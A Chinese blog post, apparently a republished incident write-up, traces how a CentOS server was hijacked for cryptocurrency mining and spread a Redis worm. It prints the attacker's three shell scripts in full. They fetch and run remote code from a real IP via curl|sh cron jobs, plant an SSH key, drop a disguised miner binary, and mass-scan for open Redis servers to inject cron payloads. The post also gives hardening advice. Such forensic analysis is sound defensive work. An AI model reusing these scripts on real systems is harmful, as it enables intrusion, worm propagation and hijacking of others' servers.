“周一早上剛到辦公室,就聽(tīng)到同事說(shuō)有一臺服務(wù)器登陸不上了,我也沒(méi)放在心上,繼續邊吃早點(diǎn),邊看幣價(jià)是不是又跌了。 不一會(huì )運維的同事也到了,氣喘吁吁的說(shuō):我們有臺服務(wù)器被阿里云凍結了,理由:對外惡意發(fā)包。 我放下酸菜餡的包子,SSH 連了一下,被拒絕了,問(wèn)了下默認的 22 端口被封了。 讓運維的同事把端口改了一下,立馬連上去,順便看了一下登錄名 :root,還有不足 8 位的小白密碼,心里一涼:被黑了! 查找線(xiàn)索服務(wù)器系統 CentOS 6.X,部署了 Nginx,Tomcat,Redis 等應用,上來(lái)先把數據庫全備份到本地,然后 Top 命令看了一下,有 2 個(gè) 99% 的同名進(jìn)程還在運行,叫 gpg-agentd。 Google 了一下 GPG,結果是: GPG 提供的 gpg-agent 提供了對 SSH 協(xié)議的支持,這個(gè)功能可以大大簡(jiǎn)化密鑰的管理工作。 看起來(lái)像是一個(gè)很正經(jīng)的程序嘛,但仔細再看看服務(wù)器上的進(jìn)程后面還跟著(zhù)一個(gè)字母 d,偽裝的很好,讓人想起來(lái) Windows 上各種看起來(lái)像 svchost.exe 的病毒。 繼續排查: ps eho command -p 23374netstat -pan | grep 23374 查看 pid:23374 進(jìn)程啟動(dòng)路徑和網(wǎng)絡(luò )狀況,也就是來(lái)到了圖 1 的目錄,到此已經(jīng)找到了***留下的二進(jìn)制可執行文件。 接下來(lái)還有 2 個(gè)問(wèn)題在等著(zhù)我: 文件是怎么上傳的? 這個(gè)文件的目的是什么,或是***想干嘛? History 看一下,記錄果然都被清掉了,沒(méi)留下任何痕跡。繼續命令 more messages: 看到了在半夜 12 點(diǎn)左右,在服務(wù)器上裝了很多軟件,其中有幾個(gè)軟件引起了我的注意,下面詳細講。 邊找邊猜,如果我們要做壞事,大概會(huì )在哪里做文章,自動(dòng)啟動(dòng)?定時(shí)啟動(dòng)?對,計劃任務(wù): crontab -e 果然,線(xiàn)索找到了。 作案動(dòng)機上面的計劃任務(wù)的意思就是每 15 分鐘去服務(wù)器上下載一個(gè)腳本,并且執行這個(gè)腳本。 我們把腳本下載下來(lái)看一下: curl -fsSL 159.89.190.243/ash.php > ash.sh 腳本內容如下: uname -a id hostname setenforce 0 2>/dev/null ulimit -n 50000 ulimit -u 50000 crontab -r 2>/dev/null rm -rf /var/spool/cron/* 2>/dev/null mkdir -p /var/spool/cron/crontabs 2>/dev/null mkdir -p /root/.ssh 2>/dev/null echo'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keys echo'*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root echo'*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root yum install -y bash 2>/dev/null apt install -y bash 2>/dev/null apt-get install -y bash 2>/dev/null bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null 大致分析一下該腳本的主要用途:首先是關(guān)閉 SELinux,解除 Shell 資源訪(fǎng)問(wèn)限制,然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公鑰。 這樣每次***登錄這臺服務(wù)器就可以免密碼登錄了,執行腳本就會(huì )方便很多。 搜索公眾號Linux技術(shù)社區后臺回復“命令行”,獲取一份驚喜禮包。 接下來(lái)安裝 Bash,最后是繼續下載第二個(gè)腳本 bsh.php,并且執行。繼續下載并分析 bsh.pbp,內容如下: sleep $( seq 3 7 | sort -R | head -n1 ) cd /tmp || cd /var/tmp sleep 1 mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/... sleep 1 if [ -f .watch ]; then rm -rf .watch exit 0 fi sleep 1 echo 1 > .watch sleep 1 ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null sleep 1 if ! [ -x /usr/bin/gpg-agentd ]; then curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db echo'/usr/bin/gpg-agentd' > /etc/rc.local echo'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local echo'exit 0' >> /etc/rc.local fi sleep 1 chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd sleep 1 if ! [ -x "$(command -v masscan)" ]; then rm -rf /var/lib/apt/lists/* rm -rf x1.tar.gz if [ -x "$(command -v apt-get)" ]; then export DEBIAN_FRONTEND=noninteractive apt-get update -y apt-get install -y debconf-doc apt-get install -y build-essential apt-get install -y libpcap0.8-dev libpcap0.8 apt-get install -y libpcap* apt-get install -y make gcc git apt-get install -y redis-server apt-get install -y redis-tools apt-get install -y redis apt-get install -y iptables apt-get install -y wget curl fi if [ -x "$(command -v yum)" ]; then yum update -y yum install -y epel-release yum update -y yum install -y git iptables make gcc redis libpcap libpcap-devel yum install -y wget curl fi sleep 1 curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz sleep 1 [ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4 fi sleep 3 && rm -rf .watch bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null 這段腳本的代碼比較長(cháng),但主要的功能有 4 個(gè): 下載遠程代碼到本地,添加執行權限,chmod u+x。 修改 rc.local,讓本地代碼開(kāi)機自動(dòng)執行。 下載 Github 上的開(kāi)源掃描器代碼,并安裝相關(guān)的依賴(lài)軟件,也就是我上面的 Messages 里看到的記錄。 下載第三個(gè)腳本,并且執行。 我去 Github 上看了下這個(gè)開(kāi)源代碼,簡(jiǎn)直吊炸天: Transmitting 10 Million Packets Per Second(每秒發(fā)送 1000 萬(wàn)個(gè)數據包),比 nmap 速度還要快,這就不難理解為什么阿里云把服務(wù)器凍結了。 大概看了下 Readme 之后,我也沒(méi)有細究,繼續下載第三個(gè)腳本: setenforce 0 2>/dev/null ulimit -n 50000 ulimit -u 50000 sleep 1 iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null sleep 1 rm -rf .dat .shard .ranges .lan 2>/dev/null sleep 1 echo'config set dbfilename "backup.db"' > .dat echo'save' >> .dat echo'flushall' >> .dat echo'set backup1 "\n\n\n*/2 * * * * curl -fsSL | sh\n\n"' >> .dat echo'set backup2 "\n\n\n*/3 * * * * wget -q -O- | sh\n\n"' >> .dat echo'set backup3 "\n\n\n*/4 * * * * curl -fsSL | sh\n\n"' >> .dat echo'set backup4 "\n\n\n*/5 * * * * wget -q -O- | sh\n\n"' >> .dat echo'config set dir "/var/spool/cron/"' >> .dat echo'config set dbfilename "root"' >> .dat echo'save' >> .dat echo'config set dir "/var/spool/cron/crontabs"' >> .dat echo'save' >> .dat sleep 1 masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard sleep 1 whileread -r h p; do cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null & done < .shard sleep 1 masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges sleep 1 whileread -r h p; do cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null & done < .ranges sleep 1 ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet sleep 1 masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan sleep 1 whileread -r h p; do cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null & done < .lan sleep 60 rm -rf .dat .shard .ranges .lan 2>/dev/null 如果說(shuō)前兩個(gè)腳本只是在服務(wù)器上下載執行了二進(jìn)制文件,那這個(gè)腳本才真正顯示病毒的威力。下面就來(lái)分析這個(gè)腳本。 一開(kāi)始的修改系統環(huán)境沒(méi)什么好說(shuō)的,接下來(lái)的寫(xiě)文件操作有點(diǎn)眼熟,如果用過(guò) Redis 的人,應該能猜到,這里是對 Redis 進(jìn)行配置。 寫(xiě)這個(gè)配置,自然也就是利用了 Redis 把緩存內容寫(xiě)入本地文件的漏洞,結果就是用本地的私鑰去登陸被寫(xiě)入公鑰的服務(wù)器了,無(wú)需密碼就可以登陸,也就是我們文章最開(kāi)始的 /root/.ssh/authorized_keys。 登錄之后就開(kāi)始定期執行計劃任務(wù),下載腳本。好了,配置文件準備好了,就開(kāi)始利用 Masscan 進(jìn)行全網(wǎng)掃描 Redis 服務(wù)器,尋找肉雞。 注意看這 6379 就是 Redis 服務(wù)器的默認端口,如果你的 Redis 的監聽(tīng)端口是公網(wǎng) IP 或是 0.0.0.0,并且沒(méi)有密碼保護,不好意思,你就中招了。 總結通過(guò)依次分析這 3 個(gè)腳本,就能看出這個(gè)病毒的可怕之處,先是通過(guò)寫(xiě)入 ssh public key 拿到登錄權限,然后下載執行遠程二進(jìn)制文件,最后再通過(guò) Redis 漏洞復制,迅速在全網(wǎng)傳播,以指數級速度增長(cháng)。 那么問(wèn)題是,這臺服務(wù)器是怎么中招的呢?看了下 redis.conf,Bind 的地址是 127.0.0.1,沒(méi)啥問(wèn)題。 由此可以推斷,應該是 Root 帳號被暴力破解了,為了驗證我的想法,我 Lastb 看了一下,果然有大量的記錄: 還剩最后一個(gè)問(wèn)題,這個(gè) gpg-agentd 程序到底是干什么的呢?我當時(shí)的第一個(gè)反應就是礦機,因為現在數字貨幣太火了,加大了分布式礦機的需求,也就催生了這條灰色產(chǎn)業(yè)鏈。 于是,順手把這個(gè) gpg-agentd 拖到 Ida 中,用 String 搜索 bitcoin,eth,mine 等相關(guān)單詞,最終發(fā)現了這個(gè): 打開(kāi) nicehash.com 看一下,一切都清晰了: 安全建議服務(wù)器: 禁用 ROOT 用戶(hù)名和密碼盡量復雜 修改 SSH 的默認 22 端口 安裝 DenyHosts 防暴力破解軟件 禁用密碼登錄,使用 RSA 公鑰登錄 Redis: 禁用公網(wǎng) IP 監聽(tīng),包括 0.0.0.0 使用密碼限制訪(fǎng)問(wèn) Redis 使用較低權限帳號運行 Redis 到此,整個(gè)***過(guò)程基本分析完了,如果大家對樣本有興趣,也可以自行去 Curl,或是去虛擬機執行上面的腳本。鑒于本人能力有限,文中難免會(huì )出現疏忽或是錯誤,還請大家多多指正。 你還有什么想要補充的嗎?
? ?正文? ?
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自本網(wǎng)站內容采集于網(wǎng)絡(luò )互聯(lián)網(wǎng)轉載等其它媒體和分享為主,內容觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如侵犯了原作者的版權,請告知一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容,聯(lián)系我們QQ:712375056,同時(shí)歡迎投稿傳遞力量。
Copyright ? 2009-2022 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 特網(wǎng)科技 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 百度云 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站